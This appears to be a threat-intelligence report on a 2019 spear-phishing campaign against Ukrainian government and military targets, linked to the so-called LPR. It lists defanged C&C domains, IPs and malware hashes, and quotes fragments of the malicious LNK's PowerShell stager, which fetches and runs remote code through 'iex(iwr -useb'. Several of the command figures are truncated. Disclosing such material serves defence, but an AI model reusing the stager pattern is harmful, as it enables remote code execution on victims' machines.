In early 2019, FireEye Threat Intelligence identified a spear phishing email targeting government entities in Ukraine. The spear phishing email included a malicious LNK file with PowerShell script to download the second-stage payload from the command and control (C&C) server. The email was received by military departments in Ukraine and included lure content related to the sale of demining machines.
This latest activity is a continuation of spear phishing that targeted the Ukrainian Government as early as 2014. The email is linked to activity that previously targeted the Ukrainian Government with RATVERMIN. Infrastructure analysis indicates the actors behind the intrusion activity may be associated with the so-called Luhansk People's Republic (LPR).
The spear phishing email, sent on Jan. 22, 2019, used the subject "SPEC-20T-MK2-000-ISS-4.10-09-2018-STANDARD," and the sender was forged as Armtrac, a defense manufacturer in the United Kingdom (Figure 1).
Figure 1: The spear phishing email
The email included an attachment with the filename "Armtrac-Commercial.7z" (MD5: 982565e80981ce13c48e0147fb271fe5). This 7z package contained "Armtrac-Commercial.zip" (MD5: e92d01d9b1a783a23477e182914b2454) with two benign Armtrac documents and one malicious LNK file with a substituted icon (Figure 2).
Figure 2: LNK with substituted icon
Compilation times indicate that this actor, who focused primarily on Ukraine, may have been active since at least 2014. Their activity was first reported by FireEye Threat Intelligence in early 2018. They gradually increased in sophistication and leveraged both custom and open-source malware.
The 2018 campaign used standalone EXE or self-extracting RAR (SFX) files to infect victims. However, their recent activity showed increased sophistication by leveraging malicious LNK files. The group used open-source QUASARRAT and the RATVERMIN malware, which we have not seen used by any other groups. Domain resolutions and malware compile times suggest this group may have been active as early as 2014. Filenames and malware distribution data suggest the group is primarily focused on targeting Ukrainian entities.
FireEye Threat Intelligence analysis uncovered several indications that the actors behind this activity have ties to the breakaway so-called Luhansk People's Republic (LPR).
Registrant Overlap with Official So-Called LPR Website
Infrastructure analysis suggests these operators are linked to the so-called LPR and the persona "re2a1er1." The domain used as C&C by the previous LNK file (sinoptik[.]website) was registered under the email "re2a1er1@yandex.ru." The email address also registered the following domains.
Domains Registered by re2a1er1@yandex.ru | Possible Mimicked Domains | Description | Possible Targeted Country |
24ua[.]website | 24tv.ua | A large news portal in Ukraine | UA |
censor[.]website | censor.net.ua | A large news portal in Ukraine | UA |
fakty[.]website | fakty.ua | A large news portal in Ukraine | UA |
groysman[.]host | Volodymyr Borysovych Groysman | V. B. Groysman is a politician who has been the Prime Minister of Ukraine since April 14, 2016 | UA |
gordon.co[.]ua | gordonua.com | A large mail service in Ukraine | UA |
mailukr[.]net | ukr.net | A large news portal in Ukraine | UA |
me.co[.]ua | me.gov.ua | Ukraine's Ministry of Economic Development and Trade | UA |
novaposhta[.]website | novaposhta.ua | Ukraine's largest logistics services company | UA |
olx[.]website | olx.ua | Ukraine's largest online ad platform | UA |
onlineua[.]website | online.ua | A large news portal in Ukraine | UA |
rst[.]website | rst.ua | One of the largest car sales websites in Ukraine | UA |
satv[.]pw | Unknown | TV-related | UA |
sinoptik[.]website | sinoptik.ua | The largest weather website in Ukraine | UA |
spectator[.]website | spectator.co.uk | A large news portal in the UK | UK |
tv.co[.]ua | Unknown | TV-related | UA |
uatoday[.]website | uatoday.news | A large news portal in Ukraine | UA |
ukrposhta[.]website | ukrposhta.ua | State Post of Ukraine | UA |
unian[.]pw | unian.net | A large news portal in Ukraine | Unknown |
vj2[.]pw | Unknown | Unknown | UA |
xn--90adzbis.xn--c1avg |
Not Applicable | Punycode of Ministry of State Security of the So-Called Luhansk People’s Republic’s website | UA |
z1k[.]pw | zik.ua | A large news portal in Ukraine | UA |
milnews[.]info | Unknown | Military news | UA |
Table 1: Related infrastructure
One of the domains, "xn--90adzbis.xn--c1avg" is a Punycode of "мгблнр.орг," which is the official website of the Ministry of State Security of the So-Called LPR (Figure 3). Ukraine legislation describes so-called LPR as "temporarily occupied territory" and its government as an "occupying administration of the Russian Federation."
Figure 3: Official website of the
Ministry of State Security of the So-Called Luhansk People's
Republic (МГБ ЛНР - Министерство Государственной Безопасности
Луганской Народной Республики)
This actor has likely been active since at least 2014, and its continuous targeting of the Ukrainian Government suggests a cyber espionage motivation. This is supported by the ties to the so-called LPR's security service. While more evidence is needed for definitive attribution, this activity showcases the accessibility of competent cyber espionage capabilities, even to sub-state actors. While this specific group is primarily a threat to Ukraine, nascent threats to Ukraine have previously become international concerns and bear monitoring.
The LNK file (SPEC-10T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf.lnk [MD5: ec0fb9d17ec77ad05f9a69879327e2f9]) included the following script (Figure 4) to execute a PowerShell script with Base64-encoded script:
vbscript:Execute("CreateObject(""Wscript.Shell"").Run
""powershell -e |
Figure 4: LNK file script
The following command (Figure 5) was received after decoding the Base64-encoded string:
vbscript:Execute("CreateObject(""Wscript.Shell"").Run
""powershell -e iex(iwr -useb |
Figure 5: LNK file command
The PowerShell script sends a request to URL "http://sinoptik[.]website/EuczSc." Unfortunately, the server was unreachable during analysis.
Network Infrastructure Linked to Attackers
The passive DNS records of the C&C domain "sinoptik[.]website" included the following IPs:
Host/Domain Name | First Seen | IP |
sinoptik[.]website | 2018-09-17 | 78.140.167.89 |
sinoptik[.]website | 2018-06-08 | 78.140.164.221 |
sinoptik[.]website | 2018-03-16 | 185.125.46.158 |
www.sinoptik[.]website | 2019-01-17 | 78.140.167.89 |
Table 2: Network infrastructure linked to attackers
Domains previously connected to RATVERMIN (aka VERMIN) and QUASARRAT (aka QUASAR) also resolved to IP "185.125.46.158" and include the following:
Malware MD5 | C&C | Malware Family |
47161360b84388d1c254eb68ad3d6dfa | akamainet022[.]info | QUASARRAT |
242f0ab53ac5d194af091296517ec10a | notifymail[.]ru | RATVERMIN |
07633a79d28bb8b4ef8a6283b881be0e | akamainet066[.]info | QUASARRAT |
5feae6cb9915c6378c4bb68740557d0a | akamainet024[.]info | RATVERMIN |
dc0ab74129a4be18d823b71a54b0cab0 | akamaicdn[.]ru | QUASARRAT |
bbcce9c91489eef00b48841015bb36c1 | cdnakamai[.]ru | QUASARRAT |
Table 3: Additional malware linked to the attackers
RATVERMIN is a .NET backdoor that FireEye Threat Intelligence started tracking in March 2018. It has also been reported in public reports and blog posts.
The actor is highly interactive with its tools and has responded within a couple of hours of receiving a new victim, demonstrating its ability to react quickly. An example of this hands-on style of operation occurred during live malware analysis. RATVERMIN operators observed that the malware was running from an unintended target at approximately 1700 GMT (12:00 PM Eastern Standard Time on a weekday) and promptly executed the publicly available Hidden Tear ransomware (saved to disk as hell0.exe, MD5: 8ff9bf73e23ce2c31e65874b34c54eac). The ransomware process was killed before it could execute successfully. If the Hidden Tear continued execution, a file would have been left on the desktop with the following message:
"Files have been encrypted with hidden tear. Send me some bitcoins or kebab. And I also hate night clubs, desserts, being drunk."
When live analysis resumed, the threat group behind the attack started deleting all the analysis tools on the machine. Upon resetting the machine and executing the malware again, this time with a text file open asking why they sent ransomware, the threat group responded by sending the following message via RATVERMIN's C&C domain (Figure 6):
C&C to Victim <TRUNCATED> |
Figure 6: RATVERMIN's C&C domain message
Further research uncovered additional LNK files with PowerShell scripts that connect to the same C&C server.
PowerShell activity (Command Line
Arguments): |
Figure 7: Additional LNK files with PowerShell scripts
powershell.exe |
Figure 8: Additional LNK files with PowerShell scripts
FireEye detection names for the indicators in the attack include the following:
FireEye Endpoint Security |
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FireEye Network Security |
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FireEye Email Security |
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Malicious package and LNK files
Related File
Quasar RAT Samples
RATVERMIN
Hidden Tear Ransomware
Malicious Infrastructure
Correlated Infrastructure
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